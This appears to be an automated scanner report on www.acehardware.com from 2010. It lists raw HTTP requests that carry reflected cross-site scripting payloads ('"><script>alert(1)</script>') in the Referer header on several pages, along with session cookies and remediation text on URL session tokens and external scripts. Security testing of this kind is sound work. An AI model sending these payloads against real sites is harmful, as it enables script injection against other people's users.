GET /paintingtips/index.jsp HTTP/1.1 Host: www.acehardware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=QQhlNbfS3Kv1TJy3QydzV5G1DLjS9c5b97p8tppcJvvFN7SYR5mQ!-141289455; __g_c=w%3A1%7Cb%3A4%7Cr%3Ahttp%24*%24//www.acehardware.com/home/index.jsp%3Frdir%3D1A_2___1293639576820%7Cc%3A285307860616199%7Cd%3A1%7Ca%3A1%7Ce%3A0.5%7Cf%3A0%7Ch%3A1%7Cg%3A1; s_sess=%20s_p7_persist%3DCABECOME_DF%253A3388719%253AACE%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=185450681.1293639556.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.a=1293639580923; rvp=3388719:; browser_id=118733033484; __g_u=285307860616199_1_0.5_0_5_1294068625634_1; s_pers=%20s_nr%3D1293636701994%7C1296228701994%3B%20s_lastvisit%3D1293639556668%7C1388247556668%3B%20gpv_p27%3DMy%2520Account%253A%2520Sign-In%7C1293641380330%3B; fsr.session={"v":1,"rid":"1293636636322_310950","pv":3,"to":4.6,"c":"http://www.acehardware.com/home/index.jsp","lc":{"d0":{"v":3,"s":true,"e":1}},"cd":0,"sd":0,"f":1293639577528}; rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; __utma=185450681.1598117939.1293639556.1293639556.1293639556.1; __utmc=185450681; __utmb=185450681.1.10.1293639556; Referer: http://www.google.com/search?hl=en&q=d1b6b"><script>alert(1)</script>cc551bcfcf7
Response
HTTP/1.1 200 OK Date: Wed, 29 Dec 2010 16:23:56 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache Content-Length: 76193 P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 95293"><script>alert(1)</script>54cee8eac57 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
HTTP/1.1 200 OK Date: Wed, 29 Dec 2010 17:39:41 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: JSESSIONID=VC18NbydG3Spt548YdKgTnvRFcwSL7JVb8SJcLvh28J1bq0gTDvL!-141289455; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 107217
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8c071"><script>alert(1)</script>347d19afa7a was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /product/index.jsp HTTP/1.1 Host: www.acehardware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=QQhlNbfS3Kv1TJy3QydzV5G1DLjS9c5b97p8tppcJvvFN7SYR5mQ!-141289455; __g_c=w%3A1%7Cb%3A4%7Cr%3Ahttp%24*%24//www.acehardware.com/home/index.jsp%3Frdir%3D1A_2___1293639576820%7Cc%3A285307860616199%7Cd%3A1%7Ca%3A1%7Ce%3A0.5%7Cf%3A0%7Ch%3A1%7Cg%3A1; s_sess=%20s_p7_persist%3DCABECOME_DF%253A3388719%253AACE%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=185450681.1293639556.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.a=1293639580923; rvp=3388719:; browser_id=118733033484; __g_u=285307860616199_1_0.5_0_5_1294068625634_1; s_pers=%20s_nr%3D1293636701994%7C1296228701994%3B%20s_lastvisit%3D1293639556668%7C1388247556668%3B%20gpv_p27%3DMy%2520Account%253A%2520Sign-In%7C1293641380330%3B; fsr.session={"v":1,"rid":"1293636636322_310950","pv":3,"to":4.6,"c":"http://www.acehardware.com/home/index.jsp","lc":{"d0":{"v":3,"s":true,"e":1}},"cd":0,"sd":0,"f":1293639577528}; rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; __utma=185450681.1598117939.1293639556.1293639556.1293639556.1; __utmc=185450681; __utmb=185450681.1.10.1293639556; Referer: http://www.google.com/search?hl=en&q=8c071"><script>alert(1)</script>347d19afa7a
Response (redirected)
HTTP/1.1 200 OK Date: Wed, 29 Dec 2010 16:24:04 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 106888
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bac94"><script>alert(1)</script>97043137871 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
HTTP/1.1 200 OK Date: Wed, 29 Dec 2010 17:39:42 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: JSESSIONID=YBYzNbypWkmzhlxH3hZ8f6573Lyz4kGVGNv8HTmcNTTJLv80cdD2!-141289455; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 107218
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 71c17"><script>alert(1)</script>526df281b87 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /reviews/index.jsp HTTP/1.1 Host: www.acehardware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=QQhlNbfS3Kv1TJy3QydzV5G1DLjS9c5b97p8tppcJvvFN7SYR5mQ!-141289455; __g_c=w%3A1%7Cb%3A4%7Cr%3Ahttp%24*%24//www.acehardware.com/home/index.jsp%3Frdir%3D1A_2___1293639576820%7Cc%3A285307860616199%7Cd%3A1%7Ca%3A1%7Ce%3A0.5%7Cf%3A0%7Ch%3A1%7Cg%3A1; s_sess=%20s_p7_persist%3DCABECOME_DF%253A3388719%253AACE%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=185450681.1293639556.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.a=1293639580923; rvp=3388719:; browser_id=118733033484; __g_u=285307860616199_1_0.5_0_5_1294068625634_1; s_pers=%20s_nr%3D1293636701994%7C1296228701994%3B%20s_lastvisit%3D1293639556668%7C1388247556668%3B%20gpv_p27%3DMy%2520Account%253A%2520Sign-In%7C1293641380330%3B; fsr.session={"v":1,"rid":"1293636636322_310950","pv":3,"to":4.6,"c":"http://www.acehardware.com/home/index.jsp","lc":{"d0":{"v":3,"s":true,"e":1}},"cd":0,"sd":0,"f":1293639577528}; rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; __utma=185450681.1598117939.1293639556.1293639556.1293639556.1; __utmc=185450681; __utmb=185450681.1.10.1293639556; Referer: http://www.google.com/search?hl=en&q=71c17"><script>alert(1)</script>526df281b87
Response (redirected)
HTTP/1.1 200 OK Date: Wed, 29 Dec 2010 16:24:14 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 106791
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload abe6b"><script>alert(1)</script>d8b123963b2 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /shop/index.jsp HTTP/1.1 Host: www.acehardware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=QQhlNbfS3Kv1TJy3QydzV5G1DLjS9c5b97p8tppcJvvFN7SYR5mQ!-141289455; __g_c=w%3A1%7Cb%3A4%7Cr%3Ahttp%24*%24//www.acehardware.com/home/index.jsp%3Frdir%3D1A_2___1293639576820%7Cc%3A285307860616199%7Cd%3A1%7Ca%3A1%7Ce%3A0.5%7Cf%3A0%7Ch%3A1%7Cg%3A1; s_sess=%20s_p7_persist%3DCABECOME_DF%253A3388719%253AACE%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=185450681.1293639556.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.a=1293639580923; rvp=3388719:; browser_id=118733033484; __g_u=285307860616199_1_0.5_0_5_1294068625634_1; s_pers=%20s_nr%3D1293636701994%7C1296228701994%3B%20s_lastvisit%3D1293639556668%7C1388247556668%3B%20gpv_p27%3DMy%2520Account%253A%2520Sign-In%7C1293641380330%3B; fsr.session={"v":1,"rid":"1293636636322_310950","pv":3,"to":4.6,"c":"http://www.acehardware.com/home/index.jsp","lc":{"d0":{"v":3,"s":true,"e":1}},"cd":0,"sd":0,"f":1293639577528}; rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; __utma=185450681.1598117939.1293639556.1293639556.1293639556.1; __utmc=185450681; __utmb=185450681.1.10.1293639556; Referer: http://www.google.com/search?hl=en&q=abe6b"><script>alert(1)</script>d8b123963b2
Response (redirected)
HTTP/1.1 200 OK Date: Wed, 29 Dec 2010 16:23:54 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 106899
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
HTTP/1.1 200 OK Date: Wed, 29 Dec 2010 16:20:02 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 107168
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
GET /affiliate/index.jsp HTTP/1.1 Host: www.acehardware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=QQhlNbfS3Kv1TJy3QydzV5G1DLjS9c5b97p8tppcJvvFN7SYR5mQ!-141289455; __g_c=w%3A1%7Cb%3A4%7Cr%3Ahttp%24*%24//www.acehardware.com/home/index.jsp%3Frdir%3D1A_2___1293639576820%7Cc%3A285307860616199%7Cd%3A1%7Ca%3A1%7Ce%3A0.5%7Cf%3A0%7Ch%3A1%7Cg%3A1; s_sess=%20s_p7_persist%3DCABECOME_DF%253A3388719%253AACE%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=185450681.1293639556.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.a=1293639580923; rvp=3388719:; browser_id=118733033484; __g_u=285307860616199_1_0.5_0_5_1294068625634_1; s_pers=%20s_nr%3D1293636701994%7C1296228701994%3B%20s_lastvisit%3D1293639556668%7C1388247556668%3B%20gpv_p27%3DMy%2520Account%253A%2520Sign-In%7C1293641380330%3B; fsr.session={"v":1,"rid":"1293636636322_310950","pv":3,"to":4.6,"c":"http://www.acehardware.com/home/index.jsp","lc":{"d0":{"v":3,"s":true,"e":1}},"cd":0,"sd":0,"f":1293639577528}; rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; __utma=185450681.1598117939.1293639556.1293639556.1293639556.1; __utmc=185450681; __utmb=185450681.1.10.1293639556;
Response
HTTP/1.1 200 OK Date: Wed, 29 Dec 2010 16:23:42 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache Content-Length: 70811 P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /cart/index.jsp HTTP/1.1 Host: www.acehardware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=QQhlNbfS3Kv1TJy3QydzV5G1DLjS9c5b97p8tppcJvvFN7SYR5mQ!-141289455; __g_c=w%3A1%7Cb%3A4%7Cr%3Ahttp%24*%24//www.acehardware.com/home/index.jsp%3Frdir%3D1A_2___1293639576820%7Cc%3A285307860616199%7Cd%3A1%7Ca%3A1%7Ce%3A0.5%7Cf%3A0%7Ch%3A1%7Cg%3A1; s_sess=%20s_p7_persist%3DCABECOME_DF%253A3388719%253AACE%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=185450681.1293639556.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.a=1293639580923; rvp=3388719:; browser_id=118733033484; __g_u=285307860616199_1_0.5_0_5_1294068625634_1; s_pers=%20s_nr%3D1293636701994%7C1296228701994%3B%20s_lastvisit%3D1293639556668%7C1388247556668%3B%20gpv_p27%3DMy%2520Account%253A%2520Sign-In%7C1293641380330%3B; fsr.session={"v":1,"rid":"1293636636322_310950","pv":3,"to":4.6,"c":"http://www.acehardware.com/home/index.jsp","lc":{"d0":{"v":3,"s":true,"e":1}},"cd":0,"sd":0,"f":1293639577528}; rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; __utma=185450681.1598117939.1293639556.1293639556.1293639556.1; __utmc=185450681; __utmb=185450681.1.10.1293639556;
Response
HTTP/1.1 200 OK Date: Wed, 29 Dec 2010 16:23:17 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache Content-Length: 86769 P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Content-Language: en-US X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /corp/index.jsp HTTP/1.1 Host: www.acehardware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=QQhlNbfS3Kv1TJy3QydzV5G1DLjS9c5b97p8tppcJvvFN7SYR5mQ!-141289455; __g_c=w%3A1%7Cb%3A4%7Cr%3Ahttp%24*%24//www.acehardware.com/home/index.jsp%3Frdir%3D1A_2___1293639576820%7Cc%3A285307860616199%7Cd%3A1%7Ca%3A1%7Ce%3A0.5%7Cf%3A0%7Ch%3A1%7Cg%3A1; s_sess=%20s_p7_persist%3DCABECOME_DF%253A3388719%253AACE%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=185450681.1293639556.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.a=1293639580923; rvp=3388719:; browser_id=118733033484; __g_u=285307860616199_1_0.5_0_5_1294068625634_1; s_pers=%20s_nr%3D1293636701994%7C1296228701994%3B%20s_lastvisit%3D1293639556668%7C1388247556668%3B%20gpv_p27%3DMy%2520Account%253A%2520Sign-In%7C1293641380330%3B; fsr.session={"v":1,"rid":"1293636636322_310950","pv":3,"to":4.6,"c":"http://www.acehardware.com/home/index.jsp","lc":{"d0":{"v":3,"s":true,"e":1}},"cd":0,"sd":0,"f":1293639577528}; rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; __utma=185450681.1598117939.1293639556.1293639556.1293639556.1; __utmc=185450681; __utmb=185450681.1.10.1293639556;
Response
HTTP/1.1 200 OK Date: Wed, 29 Dec 2010 16:23:41 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache Content-Length: 69058 P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /helpdesk/index.jsp HTTP/1.1 Host: www.acehardware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=QQhlNbfS3Kv1TJy3QydzV5G1DLjS9c5b97p8tppcJvvFN7SYR5mQ!-141289455; __g_c=w%3A1%7Cb%3A4%7Cr%3Ahttp%24*%24//www.acehardware.com/home/index.jsp%3Frdir%3D1A_2___1293639576820%7Cc%3A285307860616199%7Cd%3A1%7Ca%3A1%7Ce%3A0.5%7Cf%3A0%7Ch%3A1%7Cg%3A1; s_sess=%20s_p7_persist%3DCABECOME_DF%253A3388719%253AACE%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=185450681.1293639556.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.a=1293639580923; rvp=3388719:; browser_id=118733033484; __g_u=285307860616199_1_0.5_0_5_1294068625634_1; s_pers=%20s_nr%3D1293636701994%7C1296228701994%3B%20s_lastvisit%3D1293639556668%7C1388247556668%3B%20gpv_p27%3DMy%2520Account%253A%2520Sign-In%7C1293641380330%3B; fsr.session={"v":1,"rid":"1293636636322_310950","pv":3,"to":4.6,"c":"http://www.acehardware.com/home/index.jsp","lc":{"d0":{"v":3,"s":true,"e":1}},"cd":0,"sd":0,"f":1293639577528}; rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; __utma=185450681.1598117939.1293639556.1293639556.1293639556.1; __utmc=185450681; __utmb=185450681.1.10.1293639556;
Response
HTTP/1.1 200 OK Date: Wed, 29 Dec 2010 16:23:23 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache Content-Length: 80640 P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!--Preview TimeZone = 'null' --><!--Preview Time ...[SNIP]... </SCRIPT>
HTTP/1.1 200 OK Date: Wed, 29 Dec 2010 16:20:02 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 107168
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /info/lawnGarden.jsp HTTP/1.1 Host: www.acehardware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=QQhlNbfS3Kv1TJy3QydzV5G1DLjS9c5b97p8tppcJvvFN7SYR5mQ!-141289455; __g_c=w%3A1%7Cb%3A4%7Cr%3Ahttp%24*%24//www.acehardware.com/home/index.jsp%3Frdir%3D1A_2___1293639576820%7Cc%3A285307860616199%7Cd%3A1%7Ca%3A1%7Ce%3A0.5%7Cf%3A0%7Ch%3A1%7Cg%3A1; s_sess=%20s_p7_persist%3DCABECOME_DF%253A3388719%253AACE%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=185450681.1293639556.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.a=1293639580923; rvp=3388719:; browser_id=118733033484; __g_u=285307860616199_1_0.5_0_5_1294068625634_1; s_pers=%20s_nr%3D1293636701994%7C1296228701994%3B%20s_lastvisit%3D1293639556668%7C1388247556668%3B%20gpv_p27%3DMy%2520Account%253A%2520Sign-In%7C1293641380330%3B; fsr.session={"v":1,"rid":"1293636636322_310950","pv":3,"to":4.6,"c":"http://www.acehardware.com/home/index.jsp","lc":{"d0":{"v":3,"s":true,"e":1}},"cd":0,"sd":0,"f":1293639577528}; rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; __utma=185450681.1598117939.1293639556.1293639556.1293639556.1; __utmc=185450681; __utmb=185450681.1.10.1293639556;
Response
HTTP/1.1 200 OK Date: Wed, 29 Dec 2010 16:23:33 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache Content-Length: 71391 P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
